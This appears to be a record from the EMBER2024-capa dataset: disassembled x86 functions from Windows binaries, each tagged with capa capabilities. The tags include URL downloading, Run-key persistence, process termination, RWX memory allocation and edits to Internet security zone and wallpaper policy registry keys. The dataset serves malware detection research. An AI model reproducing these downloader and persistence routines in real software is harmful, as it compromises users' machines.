joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c02c4
Capabilities:
Get file system object information

Disassembly:
push ebx
add esp, 0xfffffea0
mov ebx, eax
push 0x4001
push 0x160
lea eax, [esp + 8]
push eax
push 0
push 0x4c0304
call sub.shell32.dll_SHGetFileInfoA
test eax, eax
je 0x4c02f9
mov edx, eax
mov eax, ebx
call fcn.004518e0
mov byte [ebx + 0x42], 1
add esp, 0x160
pop ebx
ret

Function at 0x4c0308
Capabilities:
Get file system object information

Disassembly:
push ebx
push esi
add esp, 0xfffffea0
mov esi, edx
mov ebx, eax
push 0x4010
push 0x160
lea eax, [esp + 8]
push eax
push esi
mov eax, ebx
call fcn.00404e08
push eax
call sub.shell32.dll_SHGetFileInfoA
mov eax, dword [esp + 4]
add esp, 0x160
pop esi
pop ebx
ret

Function at 0x4c04f8
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
mov esi, eax
call sub.kernel32.dll_GetTickCount_1
mov ebx, eax
mov eax, dword [0x4d3e04]
mov eax, dword [eax]
call fcn.00464068
call sub.kernel32.dll_GetTickCount_1
sub eax, ebx
cmp esi, eax
ja 0x4c0503
pop esi
pop ebx
ret

Function at 0x4c1c14
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404df8
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x4c1d82
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
xor edx, edx
mov eax, 2
call fcn.00486498
mov ebx, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, ebx
call fcn.004864b8
jmp 0x4c1d4e
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404bb8
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.00409e14
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.00408edc
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.00408edc
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.00404d54
je 0x4c1d2e
lea eax, [ebp - 0x144]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404bb8
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.00408edc
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.00408edc
mov edx, dword [ebp - 0x148]
pop eax
call fcn.00404d54
jne 0x4c1d45
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov esi, eax
mov edx, edi
mov eax, ebx
call fcn.004864d8
test eax, eax
jne 0x4c1c8f
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c1d89
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.0040496c
lea eax, [ebp - 4]
call fcn.00404948
ret
Function at 0x4c1d94
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404df8
mov eax, dword [ebp - 8]
call fcn.00404df8
xor eax, eax
push ebp
push 0x4c1e22
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4c1dfb
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404e08
push eax
mov eax, dword [ebp - 4]
call fcn.00404e08
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4c1e07
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c1e29
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040496c
ret
Function at 0x40118e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4011e7
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4011d8
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 8]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x4011d4
cmp esi, ecx
jae 0x4011d8
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec edx
jne 0x4011c4
cmp esi, ecx
jb 0x4011dc
xor eax, eax
jmp 0x4011e6
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x40126f
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x497830
push 0x4229a0
mov eax, dword fs:[0]
push eax
push ecx
push ecx
sub esp, 0x38
push ebx
push esi
push edi
mov eax, dword [0x49d2e0]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x2c], ecx
and dword [ebp - 0x24], 0
and dword [ebp - 0x50], 0
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x4c]
rep stosd dword es:[edi], eax
and dword [ebp - 0x28], 0
and dword [ebp - 0x20], 0
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x40
push 0x3000
push dword [ebp - 0x4c]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x4012ed
xor al, al
jmp 0x40136d
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov byte [eax], 0xc3
lea eax, [ebp - 0x28]
push eax
push 0x140
push dword [ebp - 0x4c]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401316
xor al, al
jmp 0x40136d
and dword [ebp - 4], 0
mov eax, dword [ebp - 0x20]
push 0x40135b
jmp eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40144f
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x49d2e0]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, 0x128
mov dword [ebp - 0x138], ebx
mov ecx, edi
lea eax, [ebp - 0x134]
mov byte [eax], 0
inc eax
dec ecx
jne 0x40147b
push ecx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x4014fd
lea eax, [ebp - 0x134]
push eax
push esi
mov dword [ebp - 0x134], edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4014f6
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
push ebx
lea eax, [ebp - 0x110]
push eax
call edi
test eax, eax
jne 0x4014cd
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x12c]
jmp 0x4014ff
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
jmp 0x4014e8
push dword [ebp - 0x138]
lea eax, [ebp - 0x110]
push eax
call edi
test eax, eax
je 0x4014be
lea eax, [ebp - 0x134]
push eax
push esi
call ebx
test eax, eax
jne 0x4014d5
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041dee3
leave
ret 4
Function at 0x405b2d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x476c86
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x49d2e0]
xor eax, esp
mov dword [esp + 0x30], eax
push ebx
push esi
push edi
mov eax, dword [0x49d2e0]
xor eax, esp
push eax
lea eax, [esp + 0x48]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x14], esi
or ebx, 0xffffffff
cmp dword [ebp + 8], ebx
jne 0x405b79
xor eax, eax
jmp 0x405cfb
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
test ecx, ecx
je 0x405ba7
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x405ba7
mov eax, dword [ebp + 8]
lea ecx, [edi - 1]
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], al
jmp 0x405cfb
cmp dword [esi + 0x50], 0
je 0x405cf9
mov ecx, esi
call fcn.00406d3f
mov eax, dword [ebp + 8]
xor ecx, ecx
cmp dword [esi + 0x40], ecx
jne 0x405bdb
push dword [esi + 0x50]
movsx eax, al
push eax
call fcn.0041ef27
pop ecx
cmp eax, ebx
cmovne ebx, dword [ebp + 8]
pop ecx
jmp 0x405cf9
push ecx
mov dword [esp + 0x3c], ecx
mov byte [esp + 0x2c], cl
push 8
lea ecx, [esp + 0x30]
mov byte [esp + 0x1b], al
mov dword [esp + 0x44], 0xf
call fcn.004067b5
and dword [esp + 0x50], 0
lea eax, [esi + 0x48]
mov dword [esp + 0x24], eax
mov edi, dword [esp + 0x3c]
mov esi, dword [esi + 0x40]
cmp edi, 0x10
mov edi, dword [esi]
lea eax, [esp + 0x18]
push eax
mov eax, dword [esp + 0x3c]
lea ecx, [esp + 0x2c]
cmovae ecx, dword [esp + 0x2c]
lea edx, [esp + 0x2c]
cmovae edx, dword [esp + 0x2c]
add eax, ecx
push eax
push edx
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x27]
push eax
push dword [esp + 0x3c]
mov ecx, esi
call dword [edi + 0x1c]
test eax, eax
js 0x405cf0
cmp eax, 1
jg 0x405cd1
mov edi, dword [esp + 0x3c]
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
cmp edi, 0x10
lea eax, [esp + 0x28]
cmovae eax, ecx
sub edx, eax
mov dword [esp + 0x1c], edx
je 0x405c9e
push dword [esi + 0x50]
lea eax, [esp + 0x2c]
push edx
cmp edi, 0x10
cmovae eax, ecx
push 1
push eax
call fcn.0041fcd9
mov edx, dword [esp + 0x2c]
add esp, 0x10
cmp edx, eax
jne 0x405cf0
mov edi, dword [esp + 0x3c]
lea eax, [esp + 0x13]
mov byte [esi + 0x45], 1
cmp dword [esp + 0x20], eax
jne 0x405ccc
test edx, edx
jne 0x405c0b
cmp dword [esp + 0x38], 0x20
jae 0x405cf0
push edx
push 8
lea ecx, [esp + 0x30]
call fcn.004066c7
jmp 0x405c07
mov ebx, dword [ebp + 8]
jmp 0x405cf0
cmp eax, 3
jne 0x405cf0
mov eax, dword [esp + 0x14]
push dword [eax + 0x50]
movsx eax, byte [esp + 0x17]
push eax
call fcn.0041ef27
pop ecx
cmp eax, ebx
cmovne ebx, dword [ebp + 8]
pop ecx
lea ecx, [esp + 0x28]
call fcn.00401647
mov eax, ebx
mov ecx, dword [esp + 0x48]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x30]
xor ecx, esp
call fcn.0041dee3
mov esp, ebp
pop ebp
ret 4
Function at 0x406ba7
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x476c0e
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x49d2e0]
xor eax, esp
mov dword [esp + 0x28], eax
push ebx
push esi
push edi
mov eax, dword [0x49d2e0]
xor eax, esp
push eax
lea eax, [esp + 0x40]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x14], esi
xor ebx, ebx
cmp dword [esi + 0x40], ebx
je 0x406cf4
cmp byte [esi + 0x45], bl
je 0x406cf4
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x406c0b
xor al, al
jmp 0x406cf6
push ebx
push 8
lea ecx, [esp + 0x28]
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.004067b5
lea eax, [esi + 0x48]
mov dword [esp + 0x48], ebx
mov dword [esp + 0x18], eax
mov edx, dword [esp + 0x20]
mov ecx, dword [esp + 0x34]
cmp ecx, 0x10
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x1c]
mov ecx, dword [ecx + 0x40]
push eax
mov eax, dword [esp + 0x34]
lea edi, [esp + 0x24]
cmovae edi, edx
lea esi, [esp + 0x24]
cmovae esi, edx
mov edx, dword [ecx]
add eax, edi
push eax
push esi
push dword [esp + 0x24]
call dword [edx + 0x20]
sub eax, ebx
je 0x406c75
dec eax
jne 0x406cda
mov esi, dword [esp + 0x14]
jmp 0x406c7c
mov esi, dword [esp + 0x14]
mov byte [esi + 0x45], bl
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x20]
mov edi, dword [esp + 0x1c]
cmp ecx, 0x10
lea eax, [esp + 0x20]
cmovae eax, edx
sub edi, eax
je 0x406cbb
push dword [esi + 0x50]
cmp ecx, 0x10
push edi
lea eax, [esp + 0x28]
cmovae eax, edx
push 1
push eax
call fcn.0041fcd9
add esp, 0x10
cmp edi, eax
jne 0x406ce3
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x20]
cmp byte [esi + 0x45], 0
je 0x406ce1
test edi, edi
jne 0x406c3a
push ebx
push 8
lea ecx, [esp + 0x28]
call fcn.004066c7
jmp 0x406c32
dec eax
dec eax
jne 0x406ce7
inc eax
jmp 0x406ce5
mov bl, 1
mov al, bl
mov bl, al
lea ecx, [esp + 0x20]
call fcn.00401647
mov al, bl
jmp 0x406cf6
mov al, 1
mov ecx, dword [esp + 0x40]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.0041dee3
mov esp, ebp
pop ebp
ret

Function at 0x407f92
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x49d2e0]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
xor ebx, ebx
push 0x124
lea eax, [ebp - 0x130]
push ebx
push eax
mov dword [ebp - 0x134], ebx
call fcn.004235f0
add esp, 0xc
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x134]
push eax
push esi
mov dword [ebp - 0x134], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x40800a
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp + 8]
call fcn.00409ad4
test eax, eax
je 0x408010
lea eax, [ebp - 0x134]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x407fe9
jmp 0x408012
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
lea ecx, [ecx - 0x10]
call fcn.00401253
mov ecx, dword [ebp - 8]
pop esi
movzx eax, bl
xor ecx, ebp
pop ebx
call fcn.0041dee3
leave
ret
Function at 0x40aa78
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x49d2e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x103
push esi
lea eax, [ebp - 0x107]
push 0
push eax
mov ebx, ecx
mov byte [ebp - 0x108], 0
call fcn.004235f0
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x108]
push eax
mov edi, 0x488658
lea eax, [ebx + 0x14]
push edi
push eax
call fcn.00403011
push esi
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.004235f0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add esp, 0x18
lea eax, [ebp - 0x108]
push 0x104
push eax
push 0
call esi
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
lea eax, [ebx + 0x18]
push edi
push eax
call fcn.00403011
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.004235f0
add esp, 0x18
lea eax, [ebp - 0x108]
push 0x104
push eax
push 0
call esi
lea eax, [ebp - 0x108]
push eax
lea eax, [ebx + 0x1c]
push edi
push eax
call fcn.00403011
mov esi, 0x103
push esi
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.004235f0
add esp, 0x18
mov ecx, ebx
push 0x486b73
call fcn.00401712
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x108]
push eax
push 0x104
call edi
lea eax, [ebp - 0x108]
push eax
push str._sfsi
push ebx
call fcn.00403011
push esi
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.004235f0
add esp, 0x18
lea esi, [ebx + 0xc]
push 0x486b73
mov ecx, esi
call fcn.00401712
lea eax, [ebp - 0x108]
push eax
push 0x104
call edi
push str.4022
lea eax, [ebp - 0x108]
push eax
push str._sfsi_s.exe
push esi
call fcn.00403011
mov esi, str.4022
push esi
lea eax, [ebx + 4]
push str._s.exe
push eax
call fcn.00403011
push esi
lea eax, [ebx + 8]
push 0x488658
push eax
call fcn.00403011
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.004235f0
add esp, 0x34
lea esi, [ebx + 0x10]
push 0x486b73
mov ecx, esi
call fcn.00401712
lea eax, [ebp - 0x108]
push eax
push 0x104
call edi
lea eax, [ebp - 0x108]
push eax
push str._sfsiconfig.ini
push esi
call fcn.00403011
add esp, 0xc
push dword [ebx]
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
jne 0x40ac7f
push eax
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, ebx
call fcn.0040b257
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0041dee3
leave
ret
Function at 0x40cf0d
Capabilities:
Reference http user-agent string

Disassembly:
push 0x1c
mov eax, 0x47767d
call fcn.004698c8
mov esi, 0x49e1e8
push esi
lea ecx, [ebp - 0x18]
call fcn.00401743
and dword [ebp - 4], 0
push esi
lea ecx, [ebp - 0x10]
call fcn.00401743
mov byte [ebp - 4], 1
call fcn.00438a40
mov ebx, eax
test ebx, ebx
je 0x40d095
push ecx
mov ecx, dword [0x4a2334]
add ecx, 0xfffffff0
mov esi, esp
call fcn.00401f3d
add eax, 0x10
mov dword [esi], eax
lea eax, [ebp - 0x14]
push eax
call fcn.0040cea3
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 6
call fcn.00401dc6
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.00401253
push str.User_Agent:_Mozilla_5.0__Windows_NT_10.0__WOW64__Trident_7.0__rv:11.0__like_Gecko
push 0
call fcn.00438980
push str.Content_Type:_application_x_www_form_urlencoded
push eax
call fcn.00438980
push eax
push 0x2727
push ebx
call fcn.00438aa0
mov esi, dword [ebp - 0x10]
add esp, 0x1c
push esi
push 0x2712
push ebx
call fcn.00438aa0
add esp, 0xc
push ebx
call fcn.00438a80
pop ecx
mov edi, eax
push edi
push edi
call fcn.00438ee0
pop ecx
push eax
lea eax, [ebp - 0x18]
push str._s___d_
push eax
call fcn.00403011
add esp, 0x10
test edi, edi
je 0x40d07e
lea ecx, [esi - 0x10]
call fcn.00401f3d
add eax, 0x10
mov dword [ebp - 0x14], eax
push ecx
push ecx
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 7
call fcn.0040d754
lea eax, [ebp - 0x14]
push eax
mov edx, 0x488dc0
lea ecx, [ebp - 0x24]
call fcn.00402fa9
mov byte [ebp - 4], 8
mov edx, eax
lea ecx, [ebp - 0x20]
mov dword [esp], 0x488db0
call fcn.00401e69
pop ecx
lea ecx, [ebp - 0x18]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 9
call fcn.00401e14
mov dword [esp], 0x40000
push 0x4881e4
push dword [eax]
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.00401253
mov ecx, dword [ebp - 0x20]
lea ecx, [ecx - 0x10]
call fcn.00401253
mov ecx, dword [ebp - 0x24]
lea ecx, [ecx - 0x10]
call fcn.00401253
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.00401253
jmp 0x40d08c
lea eax, [ebp - 0x10]
push eax
mov ecx, 0x4a2324
call fcn.00401dc6
push ebx
call fcn.00438a20
pop ecx
jmp 0x40d098
mov esi, dword [ebp - 0x10]
lea ecx, [esi - 0x10]
call fcn.00401253
mov ecx, dword [ebp - 0x18]
lea ecx, [ecx - 0x10]
call fcn.00401253
call fcn.00469896
ret
Function at 0x40d0b1
Capabilities:
Reference http user-agent string

Disassembly:
push 0xc
mov eax, 0x4777f4
call fcn.004698c8
and dword [ebp - 4], 0
push 3
call fcn.00438ad0
call fcn.00438a40
lea ecx, [ebp - 0x10]
mov esi, eax
mov dword [esp], 0x486b73
call fcn.00401668
mov byte [ebp - 4], 1
test esi, esi
je 0x40d1b2
push 0x488e34
mov edx, 0x4a2324
lea ecx, [ebp - 0x18]
call fcn.00401e69
lea ecx, [ebp + 8]
push ecx
mov edx, eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.00401e14
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 3
call fcn.00401dc6
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.00401253
mov ecx, dword [ebp - 0x18]
lea ecx, [ecx - 0x10]
call fcn.00401253
push str.User_Agent:_Mozilla_5.0__Windows_NT_10.0__WOW64__Trident_7.0__rv:11.0__like_Gecko
push 0
call fcn.00438980
push str.Content_Type:_application_x_www_form_urlencoded
push eax
call fcn.00438980
push eax
push 0x2727
push esi
call fcn.00438aa0
add esp, 0x1c
cmp dword [ebp + 0xc], 0
jne 0x40d172
push dword [ebp - 0x10]
push 0x2712
push esi
call fcn.00438aa0
add esp, 0xc
jmp 0x40d1a4
cmp dword [ebp + 0xc], 1
jne 0x40d1a4
push dword [0x4a2324]
push 0x2712
push esi
call fcn.00438aa0
push dword [ebp + 8]
push 0x271f
push esi
call fcn.00438aa0
push 1
push 0x2f
push esi
call fcn.00438aa0
add esp, 0x24
push esi
call fcn.00438a80
push esi
call fcn.00438a20
pop ecx
pop ecx
mov ecx, dword [ebp - 0x10]
lea ecx, [ecx - 0x10]
call fcn.00401253
mov ecx, dword [ebp + 8]
lea ecx, [ecx - 0x10]
call fcn.00401253
xor eax, eax
call fcn.00469896
ret 0xc
Function at 0x40db56
Capabilities:
Persist via run registry key

Disassembly:
push 4
mov eax, 0x477922
call fcn.004698c8
mov esi, ecx
mov dword [ebp - 0x10], esi
call fcn.0040e04a
and dword [ebp - 4], 0
mov edi, 0x49e1e8
lea ecx, [esi + 0x30]
push edi
call fcn.00401743
lea ecx, [esi + 0x34]
push edi
mov byte [ebp - 4], 1
call fcn.00401743
push edi
lea ecx, [esi + 0x38]
mov byte [ebp - 4], 2
call fcn.00401743
lea ecx, [esi + 0x3c]
push edi
mov byte [ebp - 4], 3
call fcn.00401743
lea ecx, [esi + 0x40]
push edi
mov byte [ebp - 4], 4
call fcn.00401743
lea ecx, [esi + 0x44]
push edi
mov byte [ebp - 4], 5
call fcn.00401743
lea ecx, [esi + 0x48]
push edi
mov byte [ebp - 4], 6
call fcn.00401743
push edi
lea ecx, [esi + 0x4c]
mov byte [ebp - 4], 7
call fcn.00401743
push edi
lea ecx, [esi + 0x50]
mov byte [ebp - 4], 8
call fcn.00401743
mov ecx, esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea ecx, [ecx + 0x30]
mov byte [ebp - 4], 9
call fcn.00401712
mov eax, esi
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones3
lea ecx, [eax + 0x34]
mov dword [eax + 0x54], 1
mov dword [eax + 0x28], reloc.WS2_32.dll_accept
mov dword [eax + 0x5c], 0xf003f
mov dword [eax + 0x2c], reloc.WS2_32.dll_bind
call fcn.00401712
mov eax, esi
push str.Control_PanelDesktop_
lea ecx, [esi + 0x38]
mov dword [eax + 0x58], 4
call fcn.00401712
push str.Control_PanelDesktopWallPaper_bak
lea ecx, [esi + 0x4c]
call fcn.00401712
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesActiveDesktopNoChangingWallPaper
lea ecx, [esi + 0x50]
call fcn.00401712
mov ebx, esi
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesActiveDesktop
lea ecx, [ebx + 0x3c]
call fcn.00401712
mov eax, ebx
call fcn.00469896
ret
Function at 0x40dcd5
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
mov eax, dword [0x49d2e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
push 0xfe
lea eax, [ebp - 0x103]
push ebx
push eax
mov esi, ecx
mov dword [ebp - 0x308], ebx
mov byte [ebp - 0x104], bl
call fcn.004235f0
push 0xfe
lea eax, [ebp - 0x203]
push ebx
push eax
mov byte [ebp - 0x204], bl
call fcn.004235f0
push 0xfe
lea eax, [ebp - 0x303]
push ebx
push eax
mov byte [ebp - 0x304], bl
call fcn.004235f0
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax - 0xc]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30c], ecx
push dword [eax - 0xc]
push eax
lea eax, [ebp - 0x104]
push 0xff
push eax
call fcn.004203e6
mov eax, dword [ebp + 0x10]
push dword [eax - 0xc]
push eax
lea eax, [ebp - 0x204]
push 0xff
push eax
call fcn.004203e6
mov eax, dword [ebp + 0x14]
add esp, 0x44
push dword [eax - 0xc]
push eax
lea eax, [ebp - 0x304]
push 0xff
push eax
call fcn.004203e6
add esp, 0x10
lea eax, [ebp - 0x308]
push eax
push dword [esi + 0x5c]
lea eax, [ebp - 0x104]
push ebx
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40ddf7
mov eax, dword [ebp - 0x30c]
inc eax
push eax
lea eax, [ebp - 0x304]
push eax
push dword [ebp + 0x18]
lea eax, [ebp - 0x204]
push ebx
push eax
push dword [ebp - 0x308]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x308]
test eax, eax
je 0x40ddef
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40ddf7
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov bl, 1
mov ecx, dword [ebp + 0xc]
lea ecx, [ecx - 0x10]
call fcn.00401253
mov ecx, dword [ebp + 0x10]
add ecx, 0xfffffff0
call fcn.00401253
mov ecx, dword [ebp + 0x14]
add ecx, 0xfffffff0
call fcn.00401253
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov al, bl
xor ecx, ebp
pop ebx
call fcn.0041dee3
leave
ret 0x14